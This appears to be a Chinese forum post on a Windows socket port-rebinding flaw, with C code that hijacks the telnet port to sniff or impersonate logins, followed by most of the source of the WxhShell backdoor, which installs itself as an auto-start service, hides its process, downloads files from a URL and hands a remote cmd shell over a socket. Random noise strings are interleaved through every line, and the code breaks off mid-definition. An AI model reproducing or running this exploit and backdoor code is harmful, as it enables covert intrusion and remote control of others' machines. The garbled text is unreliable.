在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A@lM= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0K.$C~C "gI-S[ saddr.sin_family = AF_INET;
@(a~p E#m^.B-} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
YK8l#8K W3\+51P bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
A ;`[va CpN*1s})d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
XU}i<5 YGChVROG~ 这意味着什么?意味着可以进行如下的攻击:
!vl1#@ bupW*fD: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%1;Y`> 8cY5:plK
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K[noW K6B6@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Lp$&eROFVs v8E:64 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;MYK TE>m 5ip ZdQ^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Bt:M^b^ rM~Mqpk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
NPBOG1q% +gndW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
SP2";,%/9 ;+f(1=x #include
6tVp%@ #include
<]S
M$)=D #include
olo9YrHn #include
T[},6I|! DWORD WINAPI ClientThread(LPVOID lpParam);
A;C4>U Y int main()
O[1Q# {
,bzgjw+R5 WORD wVersionRequested;
0[g5[?Vy DWORD ret;
^|rzqXW WSADATA wsaData;
9Y# vKb{> BOOL val;
x51p'bNy SOCKADDR_IN saddr;
!_o1;GzK SOCKADDR_IN scaddr;
2V9"{F? int err;
YL;*%XmAG SOCKET s;
=}0>S3a.7 SOCKET sc;
= "Lb5! int caddsize;
Jn?ZJZ HANDLE mt;
9~f
RYA* DWORD tid;
kbz+6LcV wVersionRequested = MAKEWORD( 2, 2 );
2U+wiE| err = WSAStartup( wVersionRequested, &wsaData );
,5*<C'9 if ( err != 0 ) {
R<h:>.M printf("error!WSAStartup failed!\n");
+@Kq return -1;
jw2hB[WR }
S|RUc}( saddr.sin_family = AF_INET;
QE;,mC> Tt0]G_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
g ?%]()E bb/A}<
zD saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m:;`mBOc3 saddr.sin_port = htons(23);
k
lr1"q7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'OYnLz`"6 {
, YE+k`: printf("error!socket failed!\n");
G8W^XD return -1;
:Ot5W }
It'PWqZtG val = TRUE;
:,^x?'HK //SO_REUSEADDR选项就是可以实现端口重绑定的
Rwmr [g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c_ 1. {
:(jovse\ printf("error!setsockopt failed!\n");
NTM.Vj
-_h return -1;
Wc##.qU }
d{'u97GDc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
gWjz3ob //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5&U?\YNLa //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$>l65)(E\ l=&Va+K if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+N:M;uTS {
y7 W7270) ret=GetLastError();
a,*|*Cv printf("error!bind failed!\n");
/EM=!@ka return -1;
5=_))v<Tp }
LCpS}L; listen(s,2);
~ln96*)M; while(1)
lS`VJA6l. {
x5W@zqj caddsize = sizeof(scaddr);
#5IfF~*i //接受连接请求
?B4X&xf.D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Fmrl*tr if(sc!=INVALID_SOCKET)
H]f8W]"c[ {
%Zu+=IZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!Ie={BpzbZ if(mt==NULL)
TbR
Ee;1 {
1,G f;mcQ printf("Thread Creat Failed!\n");
O`0A#h&No break;
{f%x8t$ }
W(*?rA- PP }
/u'M7R CloseHandle(mt);
b;(BMO,( }
y"0!7^ closesocket(s);
uchz<z1 WSACleanup();
X9uYqvP\( return 0;
:+S~N)0j^ }
N^tH&\G\m DWORD WINAPI ClientThread(LPVOID lpParam)
a: OuDjFp {
h IUO=f SOCKET ss = (SOCKET)lpParam;
^pa -2Ao6 SOCKET sc;
Nj4^G ~_ unsigned char buf[4096];
bcprhb SOCKADDR_IN saddr;
}&*,!ES* long num;
yYZ0o.<&T* DWORD val;
?pF uV`Zm DWORD ret;
2Yd;#i) //如果是隐藏端口应用的话,可以在此处加一些判断
{{4Sgb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
O>L
5
dP saddr.sin_family = AF_INET;
>_?Waz% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(V+iJ_1g{ saddr.sin_port = htons(23);
!Ry4w|w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\>XkK<ye {
6~6*(s|]A printf("error!socket failed!\n");
6Yx/m return -1;
m3K .\3 }
6/ thhP3`- val = 100;
wS1zd? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]^CNC0
{
)h?Pz1-W1 ret = GetLastError();
&!FWo@ return -1;
?wS/KEl=O }
1{X ;&y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mo3HUXf}8 {
{B
lM< ret = GetLastError();
G^Yg[*bJ^$ return -1;
&ffd#2f`@ }
q--;5"=S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3DO
^vV {
Bl)DuCV printf("error!socket connect failed!\n");
}xM >F% closesocket(sc);
t1tZ:4 closesocket(ss);
PG/xX
H return -1;
eyGY8fF8$ }
]p2M!N,? while(1)
,] ,dOIOwn {
(>\w8] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ww"HV;i //如果是嗅探内容的话,可以再此处进行内容分析和记录
-F| C6m! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:Vf :_; num = recv(ss,buf,4096,0);
>A;9Ee"& if(num>0)
/?j
vv& send(sc,buf,num,0);
H|0GRjC else if(num==0)
AlRng&o~ break;
IvyBK]{| num = recv(sc,buf,4096,0);
UjU*`}k3 if(num>0)
tZ]/?+1G send(ss,buf,num,0);
}[OOkYF#r else if(num==0)
+8AGs, break;
9n${M:F }
36U
zfBa closesocket(ss);
2,X~a;+ closesocket(sc);
eD481r return 0 ;
L(2KC>GvA }
3o=K?eOdg pkL&j<{ IA XoEBlMs ==========================================================
80M"`6 6U`yf&D 下边附上一个代码,,WXhSHELL
*h>KeIB; ]D;X"2I2'b ==========================================================
P+~{q.|._c vA*Ud;%R #include "stdafx.h"
M6P`~emX2 SGREpOlJ+ #include <stdio.h>
T.sib&R #include <string.h>
*3A[C-1~. #include <windows.h>
(hn@+hc #include <winsock2.h>
IE-c^'W=}m #include <winsvc.h>
I(*4N^9++ #include <urlmon.h>
2=TQU33# Uva
b*9vX #pragma comment (lib, "Ws2_32.lib")
(*Jcx:rH #pragma comment (lib, "urlmon.lib")
.(0'l@#fT aAr gKM f #define MAX_USER 100 // 最大客户端连接数
&K_"5.7-56 #define BUF_SOCK 200 // sock buffer
y[s* %yP3l #define KEY_BUFF 255 // 输入 buffer
8)D5loS Ck|3DiRQ #define REBOOT 0 // 重启
!kl9X-IiI #define SHUTDOWN 1 // 关机
<4{,u1!t L"akV,w4p #define DEF_PORT 5000 // 监听端口
y%21`y&Os q7
;TdQ #define REG_LEN 16 // 注册表键长度
$Xf gY1S #define SVC_LEN 80 // NT服务名长度
9w Pc03a B%c):`w8] // 从dll定义API
;L5'3+U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
cboue
LEt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]e'Ol$3U9= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
MHv2r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S'NZb!1+ X/_e#H0
// wxhshell配置信息
yk4Huq&2 struct WSCFG {
q#$4Kt; int ws_port; // 监听端口
3:f<cy
char ws_passstr[REG_LEN]; // 口令
^;b$`*M1 int ws_autoins; // 安装标记, 1=yes 0=no
YI=03}I char ws_regname[REG_LEN]; // 注册表键名
<(YmkOS+ char ws_svcname[REG_LEN]; // 服务名
t UJ m}+=> char ws_svcdisp[SVC_LEN]; // 服务显示名
J1^6p*]GX char ws_svcdesc[SVC_LEN]; // 服务描述信息
R)AFaP | char ws_passmsg[SVC_LEN]; // 密码输入提示信息
O3JN?25s int ws_downexe; // 下载执行标记, 1=yes 0=no
SEn-8ZF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Rl7V~dUY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w
a!g/\ |-Z9-rl };
MOuI;EF "(6]K}k@ // default Wxhshell configuration
#-ioLt% struct WSCFG wscfg={DEF_PORT,
$q]:m+Fm "xuhuanlingzhe",
?-
5{XrNm 1,
=rV*iLy "Wxhshell",
e5bRi0 "Wxhshell",
mX)UoiXue "WxhShell Service",
VuDSjh "Wrsky Windows CmdShell Service",
@aU%1h5W;l "Please Input Your Password: ",
4+t9"SD 1,
)&"l3*x "
http://www.wrsky.com/wxhshell.exe",
K<O1PrC "Wxhshell.exe"
:"9 :J };
OTA @4~{C 2jTP
(b2b // 消息定义模块
85rXm*Df char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qNP&f8fH char *msg_ws_prompt="\n\r? for help\n\r#>";
E?o1&(2p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
28u)q2s^W| char *msg_ws_ext="\n\rExit.";
A7*<,]qT char *msg_ws_end="\n\rQuit.";
}[P1Va[! char *msg_ws_boot="\n\rReboot...";
Ux~rBv'' char *msg_ws_poff="\n\rShutdown...";
P;D)5yP092 char *msg_ws_down="\n\rSave to ";
c}a. 3%?01$k char *msg_ws_err="\n\rErr!";
'k=GSb char *msg_ws_ok="\n\rOK!";
A2{u("^[6 #>+O=YO char ExeFile[MAX_PATH];
b{|Ha3;w int nUser = 0;
Yyq:5V! HANDLE handles[MAX_USER];
NPws^ int OsIsNt;
-hav/7g | I_,;c SERVICE_STATUS serviceStatus;
<KF|QE SERVICE_STATUS_HANDLE hServiceStatusHandle;
(|_1ku3! )~1QOl
"~ // 函数声明
&>UI { int Install(void);
LXr
yv;H int Uninstall(void);
b
!FX]d1~k int DownloadFile(char *sURL, SOCKET wsh);
_RT3Fk int Boot(int flag);
CQf!< void HideProc(void);
8=rD'* int GetOsVer(void);
e_Na_l] int Wxhshell(SOCKET wsl);
EQDsbG0x void TalkWithClient(void *cs);
X/ int CmdShell(SOCKET sock);
YGP.LR7 int StartFromService(void);
7mipj] int StartWxhshell(LPSTR lpCmdLine);
]sBSLEie
' v\>!J? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tG(# &54 VOID WINAPI NTServiceHandler( DWORD fdwControl );
h:iK; hnM?wn // 数据结构和表定义
XK[cbVu SERVICE_TABLE_ENTRY DispatchTable[] =
zKr\S|yE {
99%oY {wscfg.ws_svcname, NTServiceMain},
A;nrr1-0 {NULL, NULL}
nUi
4!|r };
5[.Dlpa'7 F-?K]t# // 自我安装
T8&
kxp int Install(void)
$Hcp.J[O {
fZK&h. char svExeFile[MAX_PATH];
ezRhSN? HKEY key;
(H/JB\~r strcpy(svExeFile,ExeFile);
pi)7R:i PtySPDClj // 如果是win9x系统,修改注册表设为自启动
%N#8D<ULd if(!OsIsNt) {
lP*_dt9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1Wd?AyTY, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
USLG G}R RegCloseKey(key);
6/`$Y!.ub if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H79XP. TtE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>U\,(VB RegCloseKey(key);
:_;9&[H9ha return 0;
+cQGX5 K }
iHoQNog-! }
tsdkpt }
cd1M0z else {
0d!1;jy,T iiS^xqSNCt // 如果是NT以上系统,安装为系统服务
p=m) lR9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z-3i -( if (schSCManager!=0)
?N2/;u> {
%~ uMa SC_HANDLE schService = CreateService
n82N@z<8] (
+ yX\!H" schSCManager,
fHTqLYd- wscfg.ws_svcname,
9%e&Z'l wscfg.ws_svcdisp,
>S4klW=*I SERVICE_ALL_ACCESS,
pI2g\cH> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
LaL.C^K SERVICE_AUTO_START,
o7"2"(
=> SERVICE_ERROR_NORMAL,
mJT< svExeFile,
?bwF$Ku NULL,
O,(p><k$/ NULL,
t_HS0rxG NULL,
.#zmX\a NULL,
OQ&?^S`8', NULL
fC>3{@h}* );
<k)@PAV if (schService!=0)
//63?s+ {
aa:Oh^AJy CloseServiceHandle(schService);
`2 X~3im CloseServiceHandle(schSCManager);
c e`3& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qMT7g LB'1 strcat(svExeFile,wscfg.ws_svcname);
RD_IGV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
B9IqX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~ B0L7}d RegCloseKey(key);
}t!,{ZryE1 return 0;
a nK7j2 }
44T>Yp09 }
F3*]3,&L CloseServiceHandle(schSCManager);
Q+(}nz4 }
0{bGVLp }
ssVO+
T Qhlgu! return 1;
t5dk}sRF }
MQc|j'vEY fpbb <Ro // 自我卸载
'"C$E922 int Uninstall(void)
xE(VyyR {
Vy-N3L HKEY key;
'^f,H1oW ?o'!(3`L if(!OsIsNt) {
n_5m+
1N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L'k) RegDeleteValue(key,wscfg.ws_regname);
)rJ{}U:S RegCloseKey(key);
l$KC\$?%* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5:(uD3] RegDeleteValue(key,wscfg.ws_regname);
g3~e#vdz RegCloseKey(key);
rZ<n0w return 0;
QI*Y7R~< }
v;.7-9c* }
kL;sA'I:S }
[4uTp[U!r else {
<4,hrx&. ,4$ZB(\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L{fKZ if (schSCManager!=0)
r )8[LN- {
`I+G7KK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3=w$1.B d if (schService!=0)
vZj:\geV {
'PW~4f/m if(DeleteService(schService)!=0) {
(S/f!Dk&3 CloseServiceHandle(schService);
,f0|eu> CloseServiceHandle(schSCManager);
j'Ry.8} return 0;
g.yr)
LHt0 }
K3jKOV8 CloseServiceHandle(schService);
] h3~>8< }
,$irJz F CloseServiceHandle(schSCManager);
rlSar$ }
JR/:XYS+ }
b4`t, D Ara D_D return 1;
@]r,cPx0Y }
0ut/ ')[ ;Awt: jF // 从指定url下载文件
5B3S]@% int DownloadFile(char *sURL, SOCKET wsh)
3 @XkO {
! 6yoD HRESULT hr;
6gz
!K"S char seps[]= "/";
.&O}/B char *token;
{+~}iF<% char *file;
s=0z%~H
char myURL[MAX_PATH];
TVVL1wZ char myFILE[MAX_PATH];
}Z5f5q k<p$BZ strcpy(myURL,sURL);
4/Ub%t- token=strtok(myURL,seps);
MY>mP while(token!=NULL)
o HqBNTyH {
EA.4m3 file=token;
LE^kN<qMK token=strtok(NULL,seps);
W]E6<y' }
,B|~V 3)( 7x8/Vz@\ GetCurrentDirectory(MAX_PATH,myFILE);
oujg(
^E strcat(myFILE, "\\");
|F)BKo D strcat(myFILE, file);
7:7i}`O send(wsh,myFILE,strlen(myFILE),0);
bup)cX^ send(wsh,"...",3,0);
Db"jzMW. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_;baZ- if(hr==S_OK)
O iRhp( return 0;
f9FJ:? else
&'{6_-kh return 1;
=6FA(R|QU z~b5K\/1B }
^IgxzGD *o<zo
` // 系统电源模块
_*\:UBZx6 int Boot(int flag)
d{^9` J' {
UI S\t^pJD HANDLE hToken;
b1An2e[ TOKEN_PRIVILEGES tkp;
'qR)f\em c*o05pMS if(OsIsNt) {
1?:/8l%V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%j3XoRex>< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)+;Xfftz tkp.PrivilegeCount = 1;
W"j&':xD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JC|j*x(k/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
W&E?#=*X if(flag==REBOOT) {
t>nx#ErS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9<qAf` return 0;
[n%=2*1p }
| Q0Wv8/ else {
qffVF|7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fmqHWu*wG return 0;
z%ZAN- }
TmI~P+5w }
{8b6M else {
\NE~k)`4j% if(flag==REBOOT) {
klkshlk d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h-)tWJ c return 0;
'ii5pxeNI }
S\$=b_. else {
x-0O3IIE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{O24:'K& return 0;
nPlg5&E }
05o +VF;z }
^FO&GM2a Er@'X0n return 1;
b;kgP`%% }
?@n,
9! =3K}]3f // win9x进程隐藏模块
ScN'|Ia.- void HideProc(void)
&lnr?y^ {
ck0K^o v CEQs}bz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
xWC*DKV if ( hKernel != NULL )
"rHcsuSEw {
4i]h0_] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$,I%g< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4%refqWK FreeLibrary(hKernel);
2~ [ }
<V}
ec1 ,,}&
Q%5 return;
l~mC$>f }
eMHBY6<~= $U*b;'o // 获取操作系统版本
(U`<r-n\n int GetOsVer(void)
j Wpm"C
{
Vt4KG+zm OSVERSIONINFO winfo;
G;jX@XqZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ja4j7d1: GetVersionEx(&winfo);
B>]4NF\)H9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M9C
v00& return 1;
Fy#y.jK9v else
!xD$U/%c return 0;
h#:_GNuF }
L!| `IK 8'<RPU}M // 客户端句柄模块
g#*LJ`1 int Wxhshell(SOCKET wsl)
4:Ton {
~DJI Lc SOCKET wsh;
uW 7Yem& struct sockaddr_in client;
>f\$~cp DWORD myID;
3*8m!gq7s \&XtPQ while(nUser<MAX_USER)
xR~9|H9a {
_keI0ML-# int nSize=sizeof(client);
8x~'fzf;Sq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.]XBJc if(wsh==INVALID_SOCKET) return 1;
b )(si/]\ u.yjk/jF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
eeVzOq( if(handles[nUser]==0)
TxA%{0 closesocket(wsh);
;{j@ia else
9z'(4U nUser++;
"=Xky,k }
'.gLqm}% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
mb GL)NI yg WwUpY return 0;
9O4\DRe5c }
|s!<vvp] 16-1&WuY@ // 关闭 socket
!n^7&Y[N; void CloseIt(SOCKET wsh)
z(dDX%k@ {
Nu,t,&B
closesocket(wsh);
APUpqY nUser--;
&iTTal.6 ExitThread(0);
MhDPf]`
Gg }
J]ri|a $z,rN\[ // 客户端请求句柄
49!(Sa_]j void TalkWithClient(void *cs)
i|!D {
?{]"UnyVE* -Pp =)_O SOCKET wsh=(SOCKET)cs;
v"x'rx# char pwd[SVC_LEN];
F9J9zs*, char cmd[KEY_BUFF];
0c
GjOl char chr[1];
fn3DoD+I int i,j;
/P[ @o @W.0YU0|J while (nUser < MAX_USER) {
2{A/Fbk l\6.f_ if(wscfg.ws_passstr) {
dTVh{~/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R^VmNj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ae8P'FWB> //ZeroMemory(pwd,KEY_BUFF);
[A'9sxG i=0;
ijeas< while(i<SVC_LEN) {
WqRaD=R->; 5E!Wp[^ // 设置超时
?WBA:?=$58 fd_set FdRead;
9jJ:T$} struct timeval TimeOut;
K)P].htw FD_ZERO(&FdRead);
F7&Oc)f"B FD_SET(wsh,&FdRead);
W61nJ7@ TimeOut.tv_sec=8;
zwgO|Qg; TimeOut.tv_usec=0;
-(VX+XHW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]L;X Aj? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4"et4Y7 9Itj@ps if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7e/K YS+!s pwd
=chr[0]; 1#V&'A
if(chr[0]==0xd || chr[0]==0xa) { oV;I8;#\J
pwd=0; rrrn8b6
break; #@Rtb\9
} Ou5,7Ne
i++; C<E;f]d
} 55V&[>|K5
+nKf ^rG
// 如果是非法用户,关闭 socket JQ<9~J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Senb_?
} +GlG.6
l~#%j( Yo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '-[?iF@l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t}fU 2Yb
G|LcTV
while(1) { E>&oe&`o'
PbIir=
ZeroMemory(cmd,KEY_BUFF); </li<1
NGAjajB
// 自动支持客户端 telnet标准 osPrr QoH
j=0; :rnj>U6<>
while(j<KEY_BUFF) { s}Q*zy
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2X`5YN;
cmd[j]=chr[0]; nD!5I@D
if(chr[0]==0xa || chr[0]==0xd) { @YI-@
cmd[j]=0; BE,H`G #h
break; ~IS3i'bh
} ;hkzL_' E)
j++; p77
} q/3 )yG6s
- %`iLu
// 下载文件 *:,y`!F=y
if(strstr(cmd,"http://")) { _Bq [c
send(wsh,msg_ws_down,strlen(msg_ws_down),0); q:3HU<
if(DownloadFile(cmd,wsh)) ,7^,\ ,-m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3|i5,f
else }^Ky)**
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ct@i]}"`
} ,_U3p ,
else { A>Xt 5vk+
i1-wzI
switch(cmd[0]) { i4\m/&of3y
[8rl{~9E
// 帮助 X.)D"+xnH
case '?': { tRmH6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^<v]x;
3
break; S1E=EVG
} V"W)u#4,
// 安装 *S\/l-D
case 'i': { :'K%&e?7s
if(Install()) DS>qth
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XFrgnnt
else ">'`{mXew
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J/ZC<dkYQ
break; !/6KQdF
} '/GZ,~q
// 卸载 O`2hTY\
case 'r': { #_4JTGJ
if(Uninstall()) 2R`/Oox
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>Ul0&Mf?
else zH1:kko
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q2RO&dL
9
break; vw/X
} x[1(cj
// 显示 wxhshell 所在路径 BZs?tbf
case 'p': { \"AzT{l!;
char svExeFile[MAX_PATH]; zR6^rq*
strcpy(svExeFile,"\n\r"); %#-'|~
strcat(svExeFile,ExeFile); 6),VN>j
send(wsh,svExeFile,strlen(svExeFile),0); "&N1$$
break; K0z@gWGE
} mFeoeI,Jv
// 重启 U(u$5
case 'b': { V0a)9\x(\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *pKj6x
if(Boot(REBOOT)) [;qZu`n>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N
Uq'96{Y
else { XdGA8%^cY
closesocket(wsh); DgRA\[c
ExitThread(0); G8Sx;Xi
} h0n,WU/Kw
break; )Qixde>]p
} X)k+BJ
// 关机 zx=AT
case 'd': { M`gr*p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yn1CU
if(Boot(SHUTDOWN)) Fc.1)yh.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :}}~ $$&
else { ~@N0$S
closesocket(wsh); sN9
SuQ
ExitThread(0); .qG*$W2f
} )1 =|\
break; #vBS7ba
} .m
\y6
// 获取shell 3FpS o+
case 's': { q+}Er*r
CmdShell(wsh); 7(1UXtT
closesocket(wsh); Th\t6K~
ExitThread(0); b.sRB1
break; bsgr g
} p@bcf5'
// 退出 i0e aBG]I
case 'x': { 0F|DD8tHR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q'4qSu
CloseIt(wsh); &a];"2
break; u @eKh3!
} {5N!udLDr5
// 离开 SM@RELA'Lb
case 'q': { #E#.`/4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); GPVqt"TY
closesocket(wsh); PTFe>~vr*
WSACleanup(); M~#%
[?iU
exit(1); bRb+3au_x
break; ~f:jI1(}
} .*+KQA8
} =x3ZQA
} E#A}J:
L fx$M
// 提示信息 |"XxM(Dm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E2a00i/9Y
} r%^J3
} @[(<oX%
"f-z3kL
return; b+3QqbJ[F
} I]OVzM
E]26a,^L
// shell模块句柄 b+qdl`Vd
int CmdShell(SOCKET sock) E^<.;
{ \4r?=5v*
STARTUPINFO si; #pm0T1+jW
ZeroMemory(&si,sizeof(si)); h.D*Y3=<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {^qp~0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -yH8bm'0"
PROCESS_INFORMATION ProcessInfo; FELTmQUV
char cmdline[]="cmd"; I:9jn"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,}hJ)
return 0; nax(V
} &T)h9fyc
G,6Zy-Y9
// 自身启动模式 O.g!k"nas&
int StartFromService(void) -F+dmI,1$
{ !YCus;B~
typedef struct {f
kP|d
{ WnL Ma|e
DWORD ExitStatus; [~_()i=Y
DWORD PebBaseAddress; $pOgFA1'
DWORD AffinityMask; +bv-! rf
DWORD BasePriority; Ar:ezA
ULONG UniqueProcessId; 2UGnRZ8:1Y
ULONG InheritedFromUniqueProcessId; -g;cg7O#(
